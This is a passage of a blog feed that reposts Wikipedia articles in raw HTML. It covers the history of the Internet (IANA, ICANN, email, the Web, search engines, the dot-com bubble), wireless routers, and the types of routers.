RFC into a standard. It may be recognized as such by the IETF only after experimentation, use, and acceptance have proved it to be worthy of that designation. Official standards are numbered with a prefix "STD" and a number, similar to the RFC naming style. However, even after becoming a standard, most are still commonly referred to by their RFC number.</p> <p>In 1992, the <a href="http://en.wikipedia.org/wiki/Internet_Society" title="Internet Society">Internet Society</a>, a professional membership society, was formed and the IETF was transferred to operation under it as an independent international standards body.</p> <p><a name="NIC.2C_InterNIC.2C_IANA_and_ICANN" id="NIC.2C_InterNIC.2C_IANA_and_ICANN"></a></p> <h3><span class="mw-headline">NIC, InterNIC, IANA and ICANN</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/InterNIC" title="InterNIC">InterNIC</a>, <a href="http://en.wikipedia.org/wiki/Internet_Assigned_Numbers_Authority" title="Internet Assigned Numbers Authority">Internet Assigned Numbers Authority</a>, and <a href="http://en.wikipedia.org/wiki/ICANN" title="ICANN">ICANN</a></i></div> </dd></dl> <p>The first central authority to coordinate the operation of the network was the <a href="http://en.wikipedia.org/wiki/Network_Information_Centre" class="mw-redirect" title="Network Information Centre">Network Information Centre</a> (NIC) at <a href="http://en.wikipedia.org/wiki/Stanford_Research_Institute" class="mw-redirect" title="Stanford Research Institute">Stanford Research Institute</a> (SRI) in <a href="http://en.wikipedia.org/wiki/Menlo_Park%2C_California" title="Menlo Park, California">Menlo Park</a>, <a href="http://en.wikipedia.org/wiki/California" title="California">California</a>. In 1972, management of these issues was given to the newly created <a href="http://en.wikipedia.org/wiki/Internet_Assigned_Numbers_Authority" title="Internet Assigned Numbers Authority">Internet Assigned Numbers Authority</a> (IANA). In addition to his role as the RFC Editor, <a href="http://en.wikipedia.org/wiki/Jon_Postel" title="Jon Postel">Jon Postel</a> worked as the manager of IANA until his death in 1998.</p> <p>As the early ARPANET grew, hosts were referred to by names, and a HOSTS.TXT file would be distributed from <a href="http://en.wikipedia.org/wiki/SRI_International" title="SRI International">SRI International</a> to each host on the network. As the network grew, this became cumbersome. A technical solution came in the form of the <a href="http://en.wikipedia.org/wiki/Domain_Name_System" title="Domain Name System">Domain Name System</a>, created by <a href="http://en.wikipedia.org/wiki/Paul_Mockapetris" title="Paul Mockapetris">Paul Mockapetris</a>. The Defense Data Network—Network Information Center (DDN-NIC) at SRI handled all registration services, including the <a href="http://en.wikipedia.org/wiki/Top-level_domain" title="Top-level domain">top-level domains</a> (TLDs) of <a href="http://en.wikipedia.org/wiki/.mil" title=".mil">.mil</a>, <a href="http://en.wikipedia.org/wiki/.gov" title=".gov">.gov</a>, <a href="http://en.wikipedia.org/wiki/.edu" title=".edu">.edu</a>, <a href="http://en.wikipedia.org/wiki/.org" title=".org">.org</a>, <a href="http://en.wikipedia.org/wiki/.net" title=".net">.net</a>, <a href="http://en.wikipedia.org/wiki/.com" title=".com">.com</a> and <a href="http://en.wikipedia.org/wiki/.us" title=".us">.us</a>, <a href="http://en.wikipedia.org/wiki/Root_nameserver" title="Root nameserver">root nameserver</a> administration and Internet number assignments under a <a href="http://en.wikipedia.org/wiki/United_States_Department_of_Defense" title="United States Department of Defense">United States Department of Defense</a> contract.<sup id="cite_ref-22" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-22" title="">[23]</a></sup> In 1991, the Defense Information Systems Agency (DISA) awarded the administration and maintenance of DDN-NIC (managed by SRI up until this point) to Government Systems, Inc., who subcontracted it to the small private-sector <a href="http://en.wikipedia.org/wiki/Network_Solutions" title="Network Solutions">Network Solutions, Inc.</a><sup id="cite_ref-23" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-23" title="">[24]</a></sup><sup id="cite_ref-24" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-24" title="">[25]</a></sup></p> <p>Since at this point in history most of the growth on the Internet was coming from non-military sources, it was decided that the <a href="http://en.wikipedia.org/wiki/United_States_Department_of_Defense" title="United States Department of Defense">Department of Defense</a> would no longer fund registration services outside of the .mil TLD. In 1993 the U.S. <a href="http://en.wikipedia.org/wiki/National_Science_Foundation" title="National Science Foundation">National Science Foundation</a>, after a competitive bidding process in 1992, created the <a href="http://en.wikipedia.org/wiki/InterNIC" title="InterNIC">InterNIC</a> to manage the allocations of addresses and management of the address databases, and awarded the contract to three organizations. Registration Services would be provided by <a href="http://en.wikipedia.org/wiki/Network_Solutions" title="Network Solutions">Network Solutions</a>; Directory and Database Services would be provided by <a href="http://en.wikipedia.org/wiki/AT%26T" title="AT&T">AT&T</a>; and Information Services would be provided by <a href="http://en.wikipedia.org/wiki/General_Atomics" title="General Atomics">General Atomics</a>.<sup id="cite_ref-25" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-25" title="">[26]</a></sup></p> <p>In 1998 both IANA and InterNIC were reorganized under the control of <a href="http://en.wikipedia.org/wiki/ICANN" title="ICANN">ICANN</a>, a <a href="http://en.wikipedia.org/wiki/California" title="California">California</a> <a href="http://en.wikipedia.org/wiki/Non-profit_corporation" class="mw-redirect" title="Non-profit corporation">non-profit corporation</a> contracted by the <a href="http://en.wikipedia.org/wiki/US_Department_of_Commerce" class="mw-redirect" title="US Department of Commerce">US Department of Commerce</a> to manage a number of Internet-related tasks. The role of operating the DNS system was privatized and opened up to competition, while the central management of name allocations would be awarded on a contract tender basis.</p> <p><a name="Use_and_culture" id="Use_and_culture"></a></p> <h2><span class="mw-headline">Use and culture</span></h2> <p><a name="E-mail_and_Usenet" id="E-mail_and_Usenet"></a></p> <h3><span class="mw-headline">E-mail and Usenet</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">e-mail</a> and <a href="http://en.wikipedia.org/wiki/Usenet" title="Usenet">Usenet</a></i></div> </dd></dl> <p><a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">E-mail</a> is often called the <a href="http://en.wikipedia.org/wiki/Killer_application" title="Killer application">killer application</a> of the Internet. However, it actually predates the Internet and was a crucial tool in creating it. E-mail started in 1965 as a way for multiple users of a <a href="http://en.wikipedia.org/wiki/Time-sharing" title="Time-sharing">time-sharing</a> <a href="http://en.wikipedia.org/wiki/Mainframe_computer" title="Mainframe computer">mainframe computer</a> to communicate. Although the history is unclear, among the first systems to have such a facility were <a href="http://en.wikipedia.org/wiki/System_Development_Corporation" title="System Development Corporation">SDC's</a> <a href="http://en.wikipedia.org/wiki/Q32" class="mw-redirect" title="Q32">Q32</a> and MIT's <a href="http://en.wikipedia.org/wiki/CTSS" title="CTSS">CTSS</a>.<sup id="cite_ref-26" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-26" title="">[27]</a></sup></p> <p>The ARPANET computer network made a large contribution to the evolution of e-mail. There is one report<sup id="cite_ref-27" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-27" title="">[28]</a></sup> indicating experimental inter-system e-mail transfers on it shortly after ARPANET's creation. In 1971 <a href="http://en.wikipedia.org/wiki/Ray_Tomlinson" title="Ray Tomlinson">Ray Tomlinson</a> created what was to become the standard Internet e-mail address format, using the <a href="http://en.wikipedia.org/wiki/%40" class="mw-redirect" title="@">@ sign</a> to separate user names from host names.<sup id="cite_ref-28" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-28" title="">[29]</a></sup></p> <p>A number of protocols were developed to deliver e-mail among groups of time-sharing computers over alternative transmission systems, such as <a href="http://en.wikipedia.org/wiki/UUCP" title="UUCP">UUCP</a> and <a href="http://en.wikipedia.org/wiki/IBM" title="IBM">IBM's</a> <a href="http://en.wikipedia.org/wiki/VNET" class="mw-redirect" title="VNET">VNET</a> e-mail system. E-mail could be passed this way between a number of networks, including <a href="http://en.wikipedia.org/wiki/ARPANET" title="ARPANET">ARPANET</a>, <a href="http://en.wikipedia.org/wiki/BITNET" title="BITNET">BITNET</a> and <a href="http://en.wikipedia.org/wiki/NSFNet" class="mw-redirect" title="NSFNet">NSFNet</a>, as well as to hosts connected directly to other sites via UUCP.</p> <p>In addition, UUCP allowed the publication of text files that could be read by many others. The News software developed by Steve Daniel and <a href="http://en.wikipedia.org/wiki/Tom_Truscott" title="Tom Truscott">Tom Truscott</a> in 1979 was used to distribute news and bulletin board-like messages. This quickly grew into discussion groups, known as <a href="http://en.wikipedia.org/wiki/Newsgroup" class="mw-redirect" title="Newsgroup">newsgroups</a>, on a wide range of topics. On ARPANET and NSFNet similar discussion groups would form via <a href="http://en.wikipedia.org/wiki/Electronic_mailing_list" title="Electronic mailing list">mailing lists</a>, discussing both technical issues and more culturally focused topics (such as <a href="http://en.wikipedia.org/wiki/Science_fiction" title="Science fiction">science fiction</a>, discussed on the <a href="http://www.sflovers.org/" class="external text" title="http://www.sflovers.org/" rel="nofollow">sflovers</a> mailing list).</p> <p><a name="From_gopher_to_the_WWW" id="From_gopher_to_the_WWW"></a></p> <h3><span class="mw-headline">From gopher to the WWW</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main articles: <a href="http://en.wikipedia.org/wiki/History_of_the_World_Wide_Web" title="History of the World Wide Web">History of the World Wide Web</a> and <a href="http://en.wikipedia.org/wiki/World_Wide_Web" title="World Wide Web">World Wide Web</a></i></div> </dd></dl> <p>As the Internet grew through the 1980s and early 1990s, many people realized the increasing need to be able to find and organize files and information. Projects such as <a href="http://en.wikipedia.org/wiki/Gopher_%28protocol%29" title="Gopher (protocol)">Gopher</a>, <a href="http://en.wikipedia.org/wiki/Wide_area_information_server" title="Wide area information server">WAIS</a>, and the FTP Archive list attempted to create ways to organize distributed data. Unfortunately, these projects fell short in being able to accommodate all the existing data types and in being able to grow without bottlenecks.<sup class="noprint Template-Fact"><span title="This claim needs references to reliable sources since February 2007" style="white-space: nowrap;">[<i><a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed" title="Wikipedia:Citation needed">citation needed</a></i>]</span></sup></p> <p>One of the most promising <a href="http://en.wikipedia.org/wiki/User_interface" title="User interface">user interface</a> <a href="http://en.wikipedia.org/wiki/Paradigm" title="Paradigm">paradigms</a> during this period was <a href="http://en.wikipedia.org/wiki/Hypertext" title="Hypertext">hypertext</a>. The technology had been inspired by <a href="http://en.wikipedia.org/wiki/Vannevar_Bush" title="Vannevar Bush">Vannevar Bush's</a> "<a href="http://en.wikipedia.org/wiki/Memex" title="Memex">Memex</a>"<sup id="cite_ref-29" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-29" title="">[30]</a></sup> and developed through <a href="http://en.wikipedia.org/wiki/Ted_Nelson" title="Ted Nelson">Ted Nelson's</a> research on <a href="http://en.wikipedia.org/wiki/Project_Xanadu" title="Project Xanadu">Project Xanadu</a> and <a href="http://en.wikipedia.org/wiki/Douglas_Engelbart" title="Douglas Engelbart">Douglas Engelbart's</a> research on <a href="http://en.wikipedia.org/wiki/NLS_%28computer_system%29" title="NLS (computer system)">NLS</a>.<sup id="cite_ref-30" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-30" title="">[31]</a></sup> Many small self-contained hypertext systems had been created before, such as Apple Computer's <a href="http://en.wikipedia.org/wiki/HyperCard" title="HyperCard">HyperCard</a>. Gopher became the first commonly-used hypertext interface to the Internet. While Gopher menu items were examples of hypertext, they were not commonly perceived in that way.</p> <p>In 1989, whilst working at <a href="http://en.wikipedia.org/wiki/CERN" title="CERN">CERN</a>, <a href="http://en.wikipedia.org/wiki/Tim_Berners-Lee" title="Tim Berners-Lee">Tim Berners-Lee</a> invented a network-based implementation of the hypertext concept. By releasing his invention to public use, he ensured the technology would become widespread..<sup id="cite_ref-31" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-31" title="">[32]</a></sup> One early popular web browser, modeled after <a href="http://en.wikipedia.org/wiki/HyperCard" title="HyperCard">HyperCard</a>, was <a href="http://en.wikipedia.org/wiki/ViolaWWW" title="ViolaWWW">ViolaWWW</a>.</p> <p>Scholars generally agree,<sup class="noprint Template-Fact"><span title="This claim needs references to reliable sources since August 2007" style="white-space: nowrap;">[<i><a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed" title="Wikipedia:Citation needed">citation needed</a></i>]</span></sup> however, that <a href="http://en.wikipedia.org/wiki/Mosaic_%28web_browser%29#Importance_of_Mosaic" title="Mosaic (web browser)">the turning point for the World Wide Web began with the introduction</a><sup id="cite_ref-32" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-32" title="">[33]</a></sup> of the <a href="http://en.wikipedia.org/wiki/Mosaic_%28web_browser%29" title="Mosaic (web browser)">Mosaic web browser</a><sup id="cite_ref-33" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-33" title="">[34]</a></sup> in 1993, a graphical browser developed by a team at the <a href="http://en.wikipedia.org/wiki/National_Center_for_Supercomputing_Applications" title="National Center for Supercomputing Applications">National Center for Supercomputing Applications</a> at the <a href="http://en.wikipedia.org/wiki/University_of_Illinois_at_Urbana-Champaign" title="University of Illinois at Urbana-Champaign">University of Illinois at Urbana-Champaign</a> (NCSA-UIUC), led by <a href="http://en.wikipedia.org/wiki/Marc_Andreessen" title="Marc Andreessen">Marc Andreessen</a>. Funding for Mosaic came from the <i>High-Performance Computing and Communications Initiative</i>, a funding program initiated by then-Senator <a href="http://en.wikipedia.org/wiki/Al_Gore" title="Al Gore">Al Gore's</a> <i><a href="http://en.wikipedia.org/wiki/High_Performance_Computing_and_Communication_Act_of_1991" title="High Performance Computing and Communication Act of 1991">High Performance Computing and Communication Act of 1991</a></i> also known as the <i><a href="http://en.wikipedia.org/wiki/Gore_Bill" class="mw-redirect" title="Gore Bill">Gore Bill</a></i> .<sup id="cite_ref-34" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-34" title="">[35]</a></sup> Indeed, Mosaic's graphical interface soon became more popular than Gopher, which at the time was primarily text-based, and the WWW became the preferred interface for accessing the Internet. (Gore's reference to his role in "creating the Internet", however, was ridiculed in his presidential election campaign. See the full article <a href="http://en.wikipedia.org/wiki/Al_Gore_and_information_technology" title="Al Gore and information technology">Al Gore and information technology</a>).</p> <p>Mosaic was eventually superseded in 1994 by Andreessen's <a href="http://en.wikipedia.org/wiki/Netscape" title="Netscape">Netscape Navigator</a>, which replaced Mosaic as the world's most popular browser. While it held this title for some time, eventually competition from <a href="http://en.wikipedia.org/wiki/Internet_Explorer" title="Internet Explorer">Internet Explorer</a> and a variety of other browsers almost completely displaced it. Another important event held on <a href="http://en.wikipedia.org/wiki/January_11" title="January 11">January 11</a>, <a href="http://en.wikipedia.org/wiki/1994" title="1994">1994</a>, was <i><a href="http://en.wikipedia.org/wiki/The_Superhighway_Summit" title="The Superhighway Summit">The Superhighway Summit</a></i> at <a href="http://en.wikipedia.org/wiki/UCLA" class="mw-redirect" title="UCLA">UCLA's</a> Royce Hall. This was the "first public conference bringing together all of the major industry, government and academic leaders in the field [and] also began the national dialogue about the <i><a href="http://en.wikipedia.org/wiki/Information_Superhighway" class="mw-redirect" title="Information Superhighway">Information Superhighway</a></i> and its implications."</p> <p><i><a href="http://en.wikipedia.org/wiki/24_Hours_in_Cyberspace" title="24 Hours in Cyberspace">24 Hours in Cyberspace</a></i>, the "the largest one-day online event" (<a href="http://en.wikipedia.org/wiki/February_8" title="February 8">February 8</a>, <a href="http://en.wikipedia.org/wiki/1996" title="1996">1996</a>) up to that date, took place on the then-active website, <i>cyber24.com.</i><sup id="cite_ref-36" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-36" title="">[37]</a></sup><sup id="cite_ref-37" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-37" title="">[38]</a></sup> It was headed by photographer <a href="http://en.wikipedia.org/wiki/Rick_Smolan" title="Rick Smolan">Rick Smolan</a>.<sup id="cite_ref-38" class="reference"><a href="http://en.wikipedia.org/wiki/History_of_the_Internet#cite_note-38" title="">[39]</a></sup> A photographic exhibition was unveiled at the <a href="http://en.wikipedia.org/wiki/Smithsonian_Institution" title="Smithsonian Institution">Smithsonian Institution's</a> <a href="http://en.wikipedia.org/wiki/National_Museum_of_American_History" title="National Museum of American History">National Museum of American History</a> on <a href="http://en.wikipedia.org/wiki/January_23" title="January 23">23 January</a> <a href="http://en.wikipedia.org/wiki/1997" title="1997">1997</a>, featuring 70 photos from the project<span style="text-decoration: underline;">.</span></p> <p><a name="Search_engines" id="Search_engines"></a></p> <h3><span class="mw-headline">Search engines</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Search_engine_%28computing%29" title="Search engine (computing)">Search engine (computing)</a></i></div> </dd></dl> <p>Even before the World Wide Web, there were search engines that attempted to organize the Internet. The first of these was the <a href="http://en.wikipedia.org/wiki/Archie_search_engine" title="Archie search engine">Archie search engine</a> from McGill University in 1990, followed in 1991 by <a href="http://en.wikipedia.org/wiki/Wide_area_information_server" title="Wide area information server">WAIS</a> and Gopher. All three of those systems predated the invention of the World Wide Web but all continued to index the Web and the rest of the Internet for several years after the Web appeared. There are still Gopher servers as of 2006, although there are a great many more web servers.</p> <p>As the Web grew, <a href="http://en.wikipedia.org/wiki/Web_search_engine" title="Web search engine">search engines</a> and <a href="http://en.wikipedia.org/wiki/Web_directory" title="Web directory">Web directories</a> were created to track pages on the Web and allow people to find things. The first full-text Web search engine was <a href="http://en.wikipedia.org/wiki/WebCrawler" title="WebCrawler">WebCrawler</a> in 1994. Before WebCrawler, only Web page titles were searched. Another early search engine, <a href="http://en.wikipedia.org/wiki/Lycos" title="Lycos">Lycos</a>, was created in 1993 as a university project, and was the first to achieve commercial success. During the late 1990s, both Web directories and Web search engines were popular—<a href="http://en.wikipedia.org/wiki/Yahoo%21" title="Yahoo!">Yahoo!</a> (founded 1995) and <a href="http://en.wikipedia.org/wiki/Altavista" class="mw-redirect" title="Altavista">Altavista</a> (founded 1995) were the respective industry leaders.</p> <p>By August 2001, the directory model had begun to give way to search engines, tracking the rise of <a href="http://en.wikipedia.org/wiki/Google" title="Google">Google</a> (founded 1998), which had developed new approaches to <a href="http://en.wikipedia.org/wiki/Relevance_%28information_retrieval%29" title="Relevance (information retrieval)">relevancy ranking</a>. Directory features, while still commonly available, became after-thoughts to search engines.</p> <p>Database size, which had been a significant marketing feature through the early 2000s, was similarly displaced by emphasis on relevancy ranking, the methods by which search engines attempt to sort the best results first. Relevancy ranking first became a major issue circa 1996, when it became apparent that it was impractical to review full lists of results. Consequently, <a href="http://en.wikipedia.org/wiki/Algorithm" title="Algorithm">algorithms</a> for relevancy ranking have continuously improved. Google's <a href="http://en.wikipedia.org/wiki/PageRank" title="PageRank">PageRank</a> method for ordering the results has received the most press, but all major search engines continually refine their ranking methodologies with a view toward improving the ordering of results. As of 2006, search engine rankings are more important than ever, so much so that an industry has developed ("<a href="http://en.wikipedia.org/wiki/Search_engine_optimization" title="Search engine optimization">search engine optimizers</a>", or "SEO") to help web-developers improve their search ranking, and an entire body of <a href="http://en.wikipedia.org/wiki/Case_law" title="Case law">case law</a> has developed around matters that affect search engine rankings, such as use of <a href="http://en.wikipedia.org/wiki/Trademarks" class="mw-redirect" title="Trademarks">trademarks</a> in <a href="http://en.wikipedia.org/wiki/Metatags" class="mw-redirect" title="Metatags">metatags</a>. The sale of search rankings by some search engines has also created controversy among librarians and consumer advocates.</p> <p><a name="Dot-com_bubble" id="Dot-com_bubble"></a></p> <h3><span class="mw-headline">Dot-com bubble</span></h3> <dl><dd> <div class="noprint relarticle mainarticle"><i>Main article: <a href="http://en.wikipedia.org/wiki/Dot-com_bubble" title="Dot-com bubble">Dot-com bubble</a></i></div> </dd></dl> <p>The suddenly low price of reaching millions worldwide, and the possibility of selling to or hearing from those people at the same moment when they were reached, promised to overturn established business dogma in <a href="http://en.wikipedia.org/wiki/Advertising" title="Advertising">advertising</a>, <a href="http://en.wikipedia.org/wiki/Mail-order" class="mw-redirect" title="Mail-order">mail-order</a> sales, <a href="http://en.wikipedia.org/wiki/Customer_relationship_management" title="Customer relationship management">customer relationship management</a>, and many more areas. The web was a new <a href="http://en.wikipedia.org/wiki/Killer_app" class="mw-redirect" title="Killer app">killer app</a>—it could bring together unrelated buyers and sellers in seamless and low-cost ways. Visionaries around the world developed new business models, and ran to their nearest <a href="http://en.wikipedia.org/wiki/Venture_capitalist" class="mw-redirect" title="Venture capitalist">venture capitalist</a>. Of course some of the new entrepreneurs were truly talented at business administration, sales, and growth; but the majority were just people with ideas, and didn't manage the capital influx prudently. Additionally, many dot-com business plans were predicated on the assumption that by using the Internet, they would bypass the distribution channels of existing businesses and therefore not have to compete with them; when the established businesses with strong existing brands developed their own Internet presence, these hopes were shattered, and the newcomers were left attempting to break into markets dominated by larger, more established businesses. Many did not have the ability to do so.</p> <p>The dot-com bubble burst on <a href="http://en.wikipedia.org/wiki/March_10" title="March 10">March 10</a>, <a href="http://en.wikipedia.org/wiki/2000" title="2000">2000</a>, when the technology heavy <a href="http://en.wikipedia.org/wiki/NASDAQ" title="NASDAQ">NASDAQ Composite</a> index peaked at <a href="http://dynamic.nasdaq.com/dynamic/IndexChart.asp?symbol=IXIC&desc=NASDAQ+Composite&sec=nasdaq&site=nasdaq&months=84" class="external text" title="http://dynamic.nasdaq.com/dynamic/IndexChart.asp?symbol=IXIC&desc=NASDAQ+Composite&sec=nasdaq&site=nasdaq&months=84" rel="nofollow">5048.62</a> (intra-day peak 5132.52), more than double its value just a year before. By 2001, the bubble's deflation was running full speed. A majority of the dot-coms had ceased trading, after having burnt through their <a href="http://en.wikipedia.org/wiki/Venture_capital" title="Venture capital">venture capital</a> and IPO capital, often without ever making a <a href="http://en.wikipedia.org/wiki/Profit" title="Profit">profit</a>.</p> <p><a name="Worldwide_Online_Population_Forecast" id="Worldwide_Online_Population_Forecast"></a></p> <h3><span class="mw-headline">Worldwide Online Population Forecast</span></h3> <p>In its "Worldwide Online Population Forecast, 2006 to 2011," JupiterResearch anticipates that a 38 percent increase in the number of people with online access will mean that, by 2011, 22 percent of the Earth's population will surf the Internet regularly.</p> <p>JupiterResearch says the worldwide online population will increase at a compound annual growth rate of 6.6 percent during the next five years, far outpacing the 1.1 percent compound annual growth rate for the planet's population as a whole. The report says 1.1 billion people currently enjoy regular access to the Web.</p> <p>North America will remain on top in terms of the number of people with online access. According to JupiterResearch, online penetration rates on the continent will increase from the current 70 percent of the overall North American population to 76 percent by 2011. However, Internet adoption has "matured," and its adoption pace has slowed, in more developed countries including the United States, Canada, Japan and much of Western Europe, notes the report.</p> <p>As the online population of the United States and Canada grows by about only 3 percent, explosive adoption rates in China and India will take place, says JupiterResearch. The report says China should reach an online penetration rate of 17 percent by 2011 and India should hit 7 percent during the same time frame. This growth is directly related to infrastructure development and increased consumer purchasing power, notes JupiterResearch.</p> <p>By 2011, Asians will make up about 42 percent of the world's population with regular Internet access, 5 percent more than today, says the study.</p> <p>Penetration levels similar to North America's are found in Scandinavia and bigger Western European nations such as the United Kingdom and Germany, but JupiterResearch says that a number of Central European countries "are relative Internet laggards."</p> <p>Brazil "with its soaring economy," is predicted by JupiterResearch to experience a 9 percent compound annual growth rate, the fastest in Latin America, but China and India are likely to do the most to boost the world's online penetration in the near future.</p> <p>For the study, JupiterResearch defined "online users" as people who regularly access the Internet by "dedicated Internet access" devices. Those devices do not include cell phones.</p> <p><a name="Historiography" id="Historiography"></a></p> <h2><span class="mw-headline">Historiography</span></h2> <p>Some concerns have been raised over the <a href="http://en.wikipedia.org/wiki/Historiography" title="Historiography">historiography</a> of the Internet's development. This is due to lack of centralised documentation for much of the early developments that led to the Internet.</p> <div> <p>"The Arpanet period is somewhat well documented because the corporation in charge - BBN - left a physical record. Moving into the NSFNET era, it became an extraordinarily decentralised process. The record exists in people's basements, in closets. [...] So much of what happened was done verbally and on the basis of individual trust."</p> </div> —<cite><a href="http://en.wikipedia.org/w/index.php?title=Doug_Gale&action=edit&redlink=1" class="new" title="Doug Gale (page does not exist)">Doug Gale</a>, </cite>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-83438976670443681052008-06-22T20:33:00.000-07:002008-06-22T20:51:35.258-07:00Wireless router<h3 style="font-weight: normal;" id="siteSub"><span style="font-size:85%;">From Wikipedia, the free encyclopedia</span></h3> <div id="jump-to-nav">Jump to: <a href="http://en.wikipedia.org/wiki/Wireless_router#column-one">navigation</a>, <a href="http://en.wikipedia.org/wiki/Wireless_router#searchInput">search</a></div> <!-- start content --> <p>A <b>wireless router</b> is a network device that performs the functions of a <a href="http://en.wikipedia.org/wiki/Router" title="Router">router</a> but also includes the functions of a <a href="http://en.wikipedia.org/wiki/Wireless_access_point" title="Wireless access point">wireless access point</a>. It can function in a wired LAN, a wireless only LAN, or a mixed wired/wireless network. Most current wireless routers have the following characteristics:</p> <ul><li>LAN ports, which function in the same manner as the ports of a network switch</li><li>A WAN port, to connect to a wider area network. The routing functions are filtered using this port. If it is not used, many functions of the router will be bypassed.</li><li>Wireless antennae. These allow connections from other wireless devices (NICs (network interface cards), wireless repeaters, wireless access points, and wireless bridges, for example).</li></ul><br /><h2><span class="mw-headline">WAP functions</span></h2> <p>The wireless functions operate as a separate nested "mini-LAN" within the router. The devices that connect wirelessly use the wireless router as their hub, and the wireless router presents that "mini-LAN" as a single device to the rest of the LAN. This mini-LAN has the same features as discrete WAPs have.</p> <p>Wireless routers, access points, and bridges are available that utilize each of the commonly used wireless frequencies (used in the <a href="http://en.wikipedia.org/wiki/802.11b" class="mw-redirect" title="802.11b">Wireless-B</a>, <a href="http://en.wikipedia.org/wiki/802.11a" class="mw-redirect" title="802.11a">Wireless-A</a> (and -<a href="http://en.wikipedia.org/wiki/802.11g" class="mw-redirect" title="802.11g">G</a>), and <a href="http://en.wikipedia.org/wiki/802.11n" class="mw-redirect" title="802.11n">Wireless-N</a> standards). The frequency bands for these wireless standards can be used license-free in most countries.</p> <p>Wireless routers can work with devices in a <a href="http://en.wikipedia.org/wiki/Point-to-point_%28telecommunications%29" title="Point-to-point (telecommunications)">point-to-point</a> mode, but more commonly functions in a <a href="http://en.wikipedia.org/wiki/Point_to_multipoint" class="mw-redirect" title="Point to multipoint">point to multipoint</a> mode.</p> <p>Wireless devices used that communicate with the wireless router must be set to the same <a href="http://en.wikipedia.org/wiki/Service_set_identifier" title="Service set identifier">service set identifier</a> (SSID) and <a href="http://en.wikipedia.org/wiki/Radio_channel" class="mw-redirect" title="Radio channel">radio channel</a>.</p><h2><span class="mw-headline">Netbooting Wirelessly</span></h2> <p>Unless you have a wireless card with a PXE-ROM chip built into it, it is not easy to directly <a href="http://en.wikipedia.org/wiki/Network_booting" title="Network booting">netboot</a> over a wireless connection. <a href="http://en.wikipedia.org/wiki/BIOS" title="BIOS">BIOS</a>-based <a href="http://en.wikipedia.org/wiki/Preboot_Execution_Environment" title="Preboot Execution Environment">PXE</a> algorithms usually only search for a wired NIC card to be used in a PXE <a href="http://en.wikipedia.org/wiki/Netboot" title="Netboot">netboot</a>.</p> <p>Some users have cleverly connected a <a href="http://en.wikipedia.org/wiki/Wireless_Bridge" class="mw-redirect" title="Wireless Bridge">Wireless Bridge</a> (i.e. a wireless router or wireless access point set to the "bridge" mode) to the wired NIC card in their PC. The PC then netboots through the wired Ethernet NIC as usual, but the data is then transmitted from the NIC to the Wireless AP/Router connected to it and then wirelessly "across the bridge" to the central Wireless Router.</p> <p>This solution works pretty well, but of course you must have two Wireless Access Points/Routers (one on each side of the "bridge"). Still, this is sometimes easier than running extra Ethernet cables throughout your home.</p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-33837468189842336182008-06-22T20:26:00.000-07:002008-06-22T20:32:25.298-07:00Types of routersfrom wikipedia<br /><p>Routers may provide connectivity inside enterprises, between enterprises and the Internet, and inside <a href="http://en.wikipedia.org/wiki/Internet_Service_Providers" class="mw-redirect" title="Internet Service Providers">Internet Service Providers</a> (ISP). The largest routers (for example the <a href="http://en.wikipedia.org/wiki/Cisco_Systems" title="Cisco Systems">Cisco</a> <a href="http://en.wikipedia.org/wiki/CRS-1" class="mw-redirect" title="CRS-1">CRS-1</a> or Juniper T1600) interconnect ISPs, are used inside ISPs, or may be used in very large enterprise networks. The smallest routers provide connectivity for small and home offices (for example the Linksys BEFSR41)</p> <p><a name="Routers_for_Internet_connectivity_and_internal_use" id="Routers_for_Internet_connectivity_and_internal_use"></a></p> <h3><span class="editsection"></span><span class="mw-headline">Routers for Internet connectivity and internal use</span></h3> <p>Routers intended for ISP and major enterprise connectivity will almost invariably exchange routing information with the <a href="http://en.wikipedia.org/wiki/Border_Gateway_Protocol" title="Border Gateway Protocol">Border Gateway Protocol</a>. <a href="http://tools.ietf.org/html/rfc4098" class="external" title="http://tools.ietf.org/html/rfc4098">RFC 4098</a><sup id="cite_ref-2" class="reference"><a href="http://en.wikipedia.org/wiki/Router#cite_note-2" title=""><span class="cite_braces">[</span>3<span class="cite_braces">]</span></a></sup> defines several types of BGP-speaking routers:</p> <ul><li>Provider Edge Router: Placed at the edge of an ISP network, it speaks external BGP (eBGP) to a BGP speaker in another provider or large enterprise Autonomous System (<a href="http://en.wikipedia.org/wiki/Autonomous_system_%28Internet%29" title="Autonomous system (Internet)">AS</a>).</li><li>Subscriber Edge Router: Located at the edge of the subscriber's network, it speaks eBGP to its provider's AS(s). It belongs to an end user (enterprise) organization.</li><li>Inter-provider Border Router: Interconnecting ISPs, this is a BGP speaking router that maintains BGP sessions with other BGP speaking routers in other providers' ASes.</li><li>Core 